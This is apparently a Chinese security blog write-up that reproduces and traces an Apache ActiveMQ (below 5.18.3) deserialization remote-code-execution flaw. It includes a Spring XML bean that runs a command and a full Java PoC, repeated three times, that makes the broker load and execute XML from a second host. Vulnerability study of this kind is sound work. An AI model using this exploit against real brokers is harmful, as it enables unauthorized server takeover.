声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关
现在只对常读和星标的公众号才展示大图推送,建议大家把猫蛋儿安全“设为星标”,否则可能看不到了!
漏洞简介
环境部署
直接下载5.18.3版本以下的ActiveMQ,这个直接去官网下就行。然后配置java11的环境,运行bin目录下的activemq.bat就可以运行了。
运行成功后访问 http://172.20.10.9:8161/index.html。
复现过程
漏洞分析之前,我们先复现一遍这个漏洞,有些师傅可能只是需要学习打法,所以不要急,先走遍流程。
<?xml version="1.0" encoding="utf-8"?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" /><bean id="process" factory-bean="runtime" factory-method="exec"><constructor-arg value="calc" /></bean></beans>
接下来执行如下poc代码。
import org.apache.activemq.ActiveMQConnection;import org.apache.activemq.ActiveMQConnectionFactory;import org.apache.activemq.command.ExceptionResponse;import org.apache.activemq.transport.AbstractInactivityMonitor;import org.springframework.context.support.ClassPathXmlApplicationContext;import javax.jms.*;import java.io.*;import java.lang.reflect.Method;public class poc {private static final String ACTIVEMQ_URL = "tcp://172.20.10.9:61616";//定义发送消息的队列名称private static final String QUEUE_NAME = "tempQueue";public static void main(String[] args) throws Exception {//创建连接工厂ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);//创建连接Connection connection = activeMQConnectionFactory.createConnection();//打开连接connection.start();Throwable obj2 = new ClassPathXmlApplicationContext("http://172.20.10.4/poc.xml");ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);connection.close();}}
成功命令执行。
代码分析
一、寻找触发点
二、触发点分析
我们了解到这里是通过传入的参数dataIn获取的传入的claszz和message。
我们选择跟进其中一个ExceptionResponseMarshaller进行分析,进入looseUnmarshal方法后,dataIn可控,从上层DataInput dataIn传入进来。另外我们通过层次结构分析可以看到方法上层通过OpenWireFormat进行调用,所以我们继续向上。
我们上面拿的是ExceptionResponseMarshaller,所以我们的dataType为31,之后dsm创建了一个对应的类,也就是ExceptionResponse类。最后对应的执行器带着传入的参数dis和创建的类data执行looseUnmarshal向下。
这里我们可以得知DataInput dis需要是ExceptionResponse类dataType才可为31,才可以创建对应的执行器,也就是dsm才可为ExceptionResponseMarshaller。
这里我们跟进到了TcpTransport类,readCommand()<—doRun()<—run(),这里其实关键的位置就是readCommand()方法,这里的wireFormat.unmarshal是对数据进行格式化,可以认为这是一个反序列化过程。这个Command也就是我们生成的类,所以我们的发送的消息数据也需要是序列化之后的数据。
1.如何将marshal后的ExceptionResponse类发送出去。2.寻找到一个构造函数为String类型的利用链。
三、ExceptionResponse类
这个问题我们可以通过TcpTransport.oneway方法。这个oneway()方法里面传入的Object Command实际上就是我们正常发送消息使用的producer.send(ObjectMessage)里面的ObjectMessage。这里可以参考以下文章。https://www.cnblogs.com/mthoutai/p/6774920.htmlhttps://www.iteye.com/blog/donald-draper-2348440。另外关于readCommad()获取消息的过程可以参考下面的文章。https://my.oschina.net/u/4410490/blog/3583489
我们简单跟进一下生产者的send代码。
一路跟进:
producer.send(message);ActiveMQMessageProducerSupport.classActiveMQMessageProducer.classActiveMQSession.class—>this.connection.syncSendPacketActiveMQConnection.class—> this.transport.request(command)Transport.classResponseCorrelator.class—>this.asyncRequest(command, (ResponseCallback)null);—>this.next.oneway(command);Transport.classMutexTransport.class—> oneway(Object command)AbstractInactivityMonitor.class—> oneway(Object o)—> this.doOnewaySend(o)
AbstractInactivityMonitor完毕消息发送准备,随后就会调用TcpTransport。OpenWireFormat,DataOutputStream通过tcp发送消息。
总结一下消息发送流程:
1.发送消息入口2.调用ActiveMQMessageProducerSupport的send方法3.调用ActiveMQSession的send接口进行消息发送4.ActiveMQConnection发送消息5.ResponseCorrelator发送request6.调用MutexTransport来发送消息7.调用AbstractInactivityMonitor完毕消息发送准备8.调用TcpTransport、OpenWireFormat、DataOutputStream9.终于完毕通过tcp发送消息
//创建连接工厂ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);//创建连接Connection connection = activeMQConnectionFactory.createConnection();//打开连接connection.start();//获取oneway方法((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);
四、ClassPathXmlApplicationContext类
问题2:寻找到一个构造函数为String类型的利用链; 
这里其他师傅已经找到利用的点了,这里就简单弄一下。ClassPathXmlApplicationContext类可以加载XML进行命令执行。因为ActiveMQ自带spring相关依赖,所以可以直接利用这个方法。
因为这个漏洞触发可以看到都是需要是Throwable。所以我们只需要制作一个相同路径的ClassPathXmlApplicationContext类,触发之后系统将会寻找对应的ClassPathXmlApplicationContext类。
制作一个ClassPathXmlApplicationContext类。
按照ActiveMQ的发送消息demo写一个利用的POC。
import org.apache.activemq.ActiveMQConnection;import org.apache.activemq.ActiveMQConnectionFactory;import org.apache.activemq.command.ExceptionResponse;import org.apache.activemq.transport.AbstractInactivityMonitor;import org.springframework.context.support.ClassPathXmlApplicationContext;import javax.jms.*;import java.io.*;import java.lang.reflect.Method;public class poc {private static final String ACTIVEMQ_URL = "tcp://172.20.10.9:61616";//定义发送消息的队列名称private static final String QUEUE_NAME = "tempQueue";public static void main(String[] args) throws Exception {//创建连接工厂ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);//创建连接Connection connection = activeMQConnectionFactory.createConnection();//打开连接connection.start();Throwable obj2 = new ClassPathXmlApplicationContext("http://172.20.10.4/poc.xml");ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);connection.close();}}0
简单跟进一下,就不深入分析了。
成功命令执行。
五、漏洞流程完整调试
首先我们的讲序列化好的数据进行发送。
import org.apache.activemq.ActiveMQConnection;import org.apache.activemq.ActiveMQConnectionFactory;import org.apache.activemq.command.ExceptionResponse;import org.apache.activemq.transport.AbstractInactivityMonitor;import org.springframework.context.support.ClassPathXmlApplicationContext;import javax.jms.*;import java.io.*;import java.lang.reflect.Method;public class poc {private static final String ACTIVEMQ_URL = "tcp://172.20.10.9:61616";//定义发送消息的队列名称private static final String QUEUE_NAME = "tempQueue";public static void main(String[] args) throws Exception {//创建连接工厂ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);//创建连接Connection connection = activeMQConnectionFactory.createConnection();//打开连接connection.start();Throwable obj2 = new ClassPathXmlApplicationContext("http://172.20.10.4/poc.xml");ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);connection.close();}}1
这里将会走以下流程:
1.发送消息入口2.调用ActiveMQMessageProducerSupport的send方法3.调用ActiveMQSession的send接口进行消息发送4.ActiveMQConnection发送消息5.ResponseCorrelator发送request6.调用MutexTransport来发送消息7.调用AbstractInactivityMonitor完毕消息发送准备8.调用TcpTransport、OpenWireFormat、DataOutputStream9.终于完毕通过tcp发送消息
ActiveMQ将会监听TCP对应的61616端口。
跳转到OpenWireFormat开始进行反序列化。
我们的类型为对应的31,之后会进入tightUnmarshal方法或者looseUnmarshal方法。(这里用looseUnmarshal方法举例)
跳转到对应的looseUnmarshal方法,之后进入looseUnmarsalThrowable方法。
进入looseUnmarsalThrowable方法,将获取clazz和message随后将其传入createThrowable。
进入createThrowable,反射调用传入clazz对应的构造函数然后进行实例化。
由于我们poc构造的clazz是ClassPathXmlApplicationContext类,所以对应跳转到该类。
成功利用~~,over !!!
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……



 
		 
		 
		

还没有评论,来说两句吧...